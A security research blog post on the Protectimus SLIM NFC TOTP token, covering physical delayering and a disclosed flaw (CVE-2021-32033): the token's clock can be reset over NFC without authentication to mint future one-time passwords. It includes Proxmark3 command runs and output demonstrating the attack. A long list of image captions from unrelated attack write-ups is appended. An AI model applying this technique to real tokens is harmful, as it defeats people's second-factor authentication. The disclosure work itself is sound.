[usb] pm3 --> script run hf_14a_protectimus_nfc -r
[+] executing lua /home/matt/research/proxmark3/client/luascripts/hf_14a_protectimus_nfc.lua
[+] args '-r'
Proxmark3 Protectimus SLIM NFC Script v0.8 by Matthias Deeg - SySS GmbH
Perform different operations on a Protectimus SLIM NFC hardware token
[+] Found token with UID 3F10000323380C
[+] Try to read one-time password (OTP)
[+] OTP: 768591
[+] finished hf_14a_protectimus_nfc
Internal card layout
In order to analyze what the Protectimus SLIM NFC token is internally made of, we tried a simple delayering method using an acetone bath and some manual scratching.
The following Figuer shows a Protectimus TOTP token with already partly dissolved layers in an acetone bath.
Dissolving some parts in acetone
The next Figure shows the PCB front side after the acetone bath and manually removing the outer layer.
PCB front side after acetone bath
The following Figure shows the PCB front side after removing a further protective layer via manually scratching it away using some sharp tools. The token still works in this state.
PCB front side after scratching away a protective coating
As the PCB images show, the Protectimus SLIM NFC hardware token is actually produced by FEITAN Technologies Co., Ltd., as we already assumed during the analysis of the Android app. Up to now, we were not able to identify the used chips under the two – probably some kind of epoxy – blobs and also did not perform any further analysis using all those test points.
To the future – and back
When analyzing the operating mode of the Protectimus SLIM NFC token, we found out that the time used by the hardware token can be set independently from the used cryptographic secret (seed value) for generating time-based one-time passwords without requiring any authentication via NFC.
This enables an attacker with short-time physical access to a Protectimus SLIM token to set the internal real-time clock (RTC) to the future, generate one-time passwords, and then reset the clock to the current time. This allows for generating valid future OTPs without having further access to the hardware token, which is an undesired property of such a TOTP device.
For demonstrating this time traveler attack exploiting the described security vulnerability, we developed a Lua script for the Proxmark3 which implements the required operations (also see Section NFC interface).
The next Figure shows our test setup used, consisting of the target device, a Protectimus SLIM NFC token, an Android smartphone with the PROTECTIMUS SLIM TOTP BURNER app for configuring the TOTP token, and a Proxmark3 with our developed Lua script connected to our attacker laptop.
Test setup used for our time traveler attack
The following Proxmark3 output exemplarily shows a successful attack for generating a valid future one-time password for an attacker-chosen point in time against a vulnerable Protectimus SLIM TOTP hardware token.
1
2
3
4
5
6
7
8
9
10
11
[usb] pm3 --> script run hf_14a_protectimus_nfc -t 2021-03-14T13:37:00+01:00
[+] executing lua /home/matt/research/proxmark3/client/luascripts/hf_14a_protectimus_nfc.lua
[+] args '-t 2021-03-14T13:37:00+01:00'
[+] Found token with UID 3F10000323540E
[+] Set Unix time 1615725420
[!] Please power the token and press <ENTER>
[+] The future OTP on 2021-03-14T13:37:00+01:00 (1615725420) is 303831
[+] Set Unix time 1612451460
[+] finished hf_14a_protectimus_nfc
We have reported this security issue according to our responsible disclosure program via our security advisory SYSS-2021-007. The assigned CVE ID for this security vulnerability is CVE-2021-32033.
As TOTP tokens like the Protectimus SLIM NFC are supposed to be used as a further authentication factor in a multi-factor authentication method, the demonstrated time traveler attack only poses a threat in specific real-world scenarios. This could be, for example, a situation when the attacker can gain short-time physical access to the Protectimus SLIM NFC token and furthermore knows the other required authentication factors, for instance user credentials consisting of username and password. This may be the case in scenarios in which third-party service providers are involved, who are provided with time-restricted access to IT systems in order to fulfill their duties.
Unanswered questions
Concerning the Protectimus SLIM NFC token, we were only able to answer some questions regarding its operation mode. As with the Token2 OTPC-P2, there are still a lot of interesting open questions like:
Are there any hidden commands not present in the available Android app that can be used via near-field communication?
Is it possible to generate new TOTP tokens without always powering the device in between, allowing for better time traveler attacks?
Can the cryptographic secret (seed) be extracted with or without destructing the TOTP token?
Conclusion
TOTP hardware tokens are an interesting device class – especially when they support near-field communication which provides an easily accessible attack surface.
Unfortunately, TOTP tokens like the two we analyzed in our case studies are usually a black box to the user and it is not evident from reading publicly available product specifications and documentation how they internally work and whether their operating mode is insecure.
During our research, we were able to find out some more details about the inner workings of the two specific TOTP hardware tokens Token2 OTPC-P2 and Protectimus SLIM NFC and could also identify some security issues. However, there are still many open questions concerning those two devices and the class of TOTP hardware tokens in general which will hopefully be answered and publicly documented in the future.
To the Future and Back: Hacking a TOTP Hardware Token (SYSS-2021-007)2021-06-16T09:00:00+02:002021-06-16T09:05:17+02:00https://blog.syss.com/posts/syss-2021-007/Matthias Deeg
During a research project, SySS IT security expert Matthias Deeg found a security issue in the RFID-based TOTP hardware token Protectimus SLIM NFC.
During a research project, SySS IT security expert Matthias Deeg found a security issue in the RFID-based TOTP hardware token Protectimus SLIM NFC.
Due to a design error, the time (internal real-time clock) of this time-based one-time password (TOTP) hardware token can be set independently from the used cryptographic secret key (seed value) for generating one-time passwords without any required authentication.
Thus, an attacker with short-time physical access to a Protectimus SLIM token can set the internal real-time clock (RTC) to the future, generate one-time passwords at will, and afterwards reset the clock to the current time.
This allows for generating valid future time-based one-time passwords without having further access to the hardware token. From a security perspective, this is an undesired property for this kind of security device.
We have reported this security issue in the course of our responsible disclosure program to the manufacturer via our security advisory SySS-2021-007 (CVE-2021-32033).
Figure 1: HTTP-based WCF message and corresponding response
Figure 2: Net.TCP-based WCF message and corresponding response
Figure 3: Schematic representation of the operation of the 
Figure 4: Message sent from the client to the server and forwarded through Burp Suite via the 
Figure 5: Reply sent from the server to the client and forwarded through Burp Suite via the 
Asus ROG Azoth
ROG Azoth display
ROG Azoth motherboard
Detailed view of the ROl Azoth OLED display
OLED display PCB markings
Programming setup
Reverse-engineering the reset handler
Signal capturing
SPI logic trace
Commands to initialize the display
Hacked
Front of MX4200
Ports of MX4200
Buttons of MX4200
Front of MR9600
Ports of MR9600
Bluetooth Low Energy advertisement
Service offered by the MR9600
Wireshark output after staring 
Adding nodes with the reset button
Function to verify the TLS-SRP username and password
Table 
Handling of 
Verifying 
Figure 1: OAuth 2.0 Authorization Code Flow
Figure 2: CSRF attack on the OAuth 2.0 Authorization Code Flow
Figure 3: OAuth 2.0 Authorization Code Flow with CSRF protection
Figure 4: Browser swapping attack on user side
Figure 5: Browser swapping attack on attacker side
Figure 6: Attack surfaces for system logs
The decompiled function used for de- and encryption
Log function in the Windows driver’s SIMService.exe
Log function in the Linux FoxFlss binary
Decompiled function in the FoxFlss binary performing the FCC unlock
Agents everywhere
diffalayze sample usage
Process overview
Running diffalayze with 32 targets
Sample run
Notification about target evaluation
Integer wraparound
Call to RxCeEncryptData
Memory allocation
RtlCopyMdlToBuffer
System error
Blue Screen of Death (BSOD)
Fixed integer wraparound
Potential vector table
System initialization routine
Potential second vector table
Register level analysis of the CM4 Startup on PSoC 62
Excerpt of the bluetooth firmware
Code snippet for header package name parsing
Code snippet for checksum calculation
Firmware update attempt
RSA signature verification
The nRF54L15 target
Test setup
CNC table to move the EMFI probe
nRF54L15 target under test
Parameter space with glitch detector disabled
Parameter space with glitch detector enabled
Positive events
Positive events
Wireless attack scenarios
Architecture overview
Pairing with the COROS PACE 3
BLE IO mapping (Source: 
Pairing menu in the COROS iOS app
iOS notification settings for paired and bonded devices
COROS PACE 3 bonded via nrf Connect
Received notification
Injected notification
Find my Device function
Device address after factory reset
Factory reset during an activity
Device crash during an activity
Microsoft’s acknowledgements for 
Setup for the RDP downgrade attack
Schematic of the STM32L05 Target Board
STM32L05 Target Board
The Pico Glitcher
Overview of the power consumption during a flash erase
Detailed view of the first block during flash erase
Overview of the parameter space for single crowbar glitching during phase A1
Pico Glitcher v2.1
Voltage glitching setup
LPC1343 pinning (source: 
Target board with LPC1343 and all required connections
Connections between the Pico Glitcher, the target board, and the UART adapter
Voltage glitch example
Fault injection analysis using the analyzer tool
Architectural overview of the 
Ewon Cosy+ side view
Ewon Cosy+ front view
Disassembled Ewon Cosy+
Interesting components on the top board
Log entries showing forbidden OpenVPN configuration
Executed command shown in Cosy+ log
Cosy+ log containing submitted FTP username
Accessing the credential cookie via XSS
Exploit chain to root the Cosy+ from the perspective of an unauthenticated attacker
SE050A1 HSM in the Cosy+
Analyzing the I²C communication
Positioning of the testing needles
I²C communication and APDU command
Excerpt of dynamic analysis of the I²C communication using GDB
I²C payload encryption overview
Attempt to read the ECC private key
HTTPS communication between the Cosy+ and the Talk2m API secured by mTLS
Client certificate and key passed to the function 
Firmware encryption overview
Password encryption functions (note: function, variable and pointer names were changed)
Correctly signed X.509 certificate containing a foreign device serial number
OpenVPN session using a foreign Cosy+ certificate
Attack scenario
ALE-400
Firmware header structure
Calling 
Function graph of checksum calculation
Inital function call for checksum calculation
Return value of the function
Next block to calculate
USB serial wiring
USB serial connection
Modified firmware header
Execution of our proof-of-concept script
Successfully installed manipulated firmware
Rooted device with manipulated firmware
Binary fuzzing using AFL++ in QEMU mode
Amount of phone seats in Zoom
Illustration of Zoom ZTP
Mutual TLS authentication
Assignment of a desk phone
Self-defined configuration template
Self-defined configuration template provided assigned phones
Import of arbitrary devices
Provisioning URL received from vendor’s redirect server
Credentials in redirection URLs
Sensitive information in redirect server
Base64-encoded and encrypted password
Calling an encryption function
3DES functions
Redefining parameters and variables
Triple DES initialization vector
Triple DES key
AudioCodes documentation for configuration file encryption
String for key derivation pushed on the stack
Passing of the string to the function at memory location 000111a0
Storing the string on the stack
Passing the string to the key derivation function
Memory location of the secret for the key derivation
Updated checksum of the rootfs.ext4 section
Successfully installed manipulated firmware image
Reverse shell from the targeted device
Complete attack chain
Eavesdropping attack
Attack scenarios
Example of fake invoice containing malware
OpenAI Text Classifier
Malware distributed in a password-protected ZIP archive
Components of the malware stager
NetSupport RAT configuration
An example of a typical privilege escalation path in BloodHound
One person controlling several accounts
One account controlled by different persons
An attack path involving hypervisor access
Password reuse between tiered accounts represents a sometimes overlooked escalation path
Password reuse of the built-in admin account between different systems represents a much exploited escalation path that BloodHound does not show
A more realistic picture of the privilege escalation graph
Basic sample architecture of Microsoft Teams Direct Routing
AudioCodes configuration wizard
Proof of concept SIP call flow
SIP call flow from the perspective of the SBC
Toll fraud
Insufficient IP filter
Allocated IP address within the allowlisted IP range
Baltimore CyberTrust Root signing tree
Optional firewall rules
Updated Classification Rules
Updated Firewall Settings Section
tl;dr Proof-of-Concept
Attaching PDF file to e-mail
Popping a calculator by double-click
Demo showing the attack vector
Saving attachment with U+00A0 in filename
Showing the full filename in Explorer
Simple example with a BAT file
Popping a calculator by double-click the batch file
Broken error message
Polyglot PDF/HTA file
Popping a calculator by double-click
No Mark-of-the-Web applied when using Drag & Drop
Front view of the secure USB flash drive Verbatim Executive Fingerprint Secure
PCB front side of Verbatim Executive Fingerprint Secure SSD
PCB back side of Verbatim Executive Fingerprint Secure SSD
Image of Tux (left) and its ECB encrypted image data (right) 
Sniffed serial communication when unlocking with a correct fingerprint shown in logic analyzer
Password-based authentication for administrator (
Emulated CD-ROM drive with client software
Encrypted USB communication via 
AES functions of the Windows client software
Decrypted USB communication (response from device)
Decrypted USB device response containing the current administrator password
Successful attacking using the developed Verbatim Fingerprint Secure Password Retriever
Emulated CD-ROM drive with attacker-controlled content
Front view of the secure USB flash drive Verbatim Keypad Secure
PCB front side of Verbatim Keypad Secure
PCB back side of Verbatim Keypad Secure
SSD with M.2 form factor (front and back side)
Warning from Verbatim Keypad Secure User Manual concerning device lock
Example of analyzing the Verbatim Keypad Secure firmware with Ghidra![Content of the SPI flash memory chip with a CRC-16 at the end shown in [010 Editor][010editor]](/assets/img/papers/hacking-secure-usb-flash-drives/firmware_crc_010editor.jpg)
Content of the SPI flash memory chip with a CRC-16 at the end shown in 
Pi byte sequence used as AES keys in other device firmware
Magic signature 
Sniffed SPI communication for unlock PIN pattern shown in logic analyzer
Analyzed SPI message format
Obvious SPI payload patterns
Encoding of all possible keys of the keypad
Keypad controller pinout according to our analysis
Search results for the search term 
Reddit post with the integer hash algorithm 
Registered MS-Office protocol handler
Demo of opening a link to a xlsm file containing a reverse shell macro
Showing the headers of an HTTP request from Excel
Showing the Excel authentication pop-up
Entering some credentials
Showing the captured NetNTLMv2 hash
Attacker system is in the same trusted network segment
Showing the captured NetNTLMv2 hash
Showing the Excel authentication pop-up
If a user enters credentials however, we receive them base64 encoded, and the responder automatically decodes them.
Showing the captured credentials
Showing the Excel FTP authentication pop-up
Showing cleartext credentials via FTP
Fuzzing approach
Demo showing the attack vector of a SLK file
Showing the warning if the DDE is disabled
Setting for DDE protection
Demo showing the attack vector of a CSV file
Opening a TXT file and Word interpretating it as doc, containing macros
Openening a file on a WebDAV server
Save an opened file on a WebDAV server
Openening a file on a WebDAV server with data connections
Message about the blocked External Data Connections
Including the local folder and a local file into the document
Configured Powerquery for the users folder
Configured Powerquery for the users .ssh key
Logon procedure within Windows (source: 
Location of the 
Search for byte pattern within the dumped 
Acquired IV
Aquired DES key
Acquired AES key
Identified entry addresses for credential lists
Organization of nested lists
Encrypted credentials in memory dump
Debugger command from PowerShell
Demo of Invoke-LSAParse for successfully extracting user credentials from an LSASS memory dump
Firefox showing manipulated web site contents
Anti-phishing warning in a HTML e-mail
Warning message which was formatted by means of a SPAN tag
Warning message which was formatted by means of a SPAN tag
Warning message which was formatted by means of a DIV tag
The warning banner is hidden and the attacker’s banner is inserted
Preview with an iPhone
Token2 OTPC-P2 product description
Configuration view of the NFC burner 2 Android app
Seed burning view of the NFC burner 2 Android app
Example: APDU to query the time and serial number of the card
Delayered card (image by Philippe Teuwen)
Delayered card (image by Philippe Teuwen)
Decompiled authentication method of the NFC Burner 2 Android application
Decompiled class of the NFC Burner 2 Android application with static constants, e.g. the key for encrypting the challenge (
Histogram of the random data collected by requesting challenges from the token
Histogram of byte number 1 of all collected challenges
Histogram of byte number 2 to byte number 8 of all collected challenges
Modified data in get time and serial number command returning the serial number twice
Modified data in get time and serial number command returning the current time twice
Activated OTPC-P2 token
Deactivated OTPC-P2 token with the last PIN still slightly visible
Instructions for destroying the card printed on the backside
Internal components visible by shining bright light through the card (image by Philippe Teuwen)
Protectimus SLIM NFC hardware TOTP token
Protectimus SLIM NFC hardware TOTP token
Programming options of PROTECTIMUS TOTP BURNER app and configuration parameters
Reading the current one-time password via NFC
Example of decompiled app code
Obfuscated code of ftsafe package
Protectimus SLIM NFC packet format
Read token info packet
Read OTP packet
Dissolving some parts in acetone
PCB front side after acetone bath
PCB front side after scratching away a protective coating
Test setup used for our time traveler attack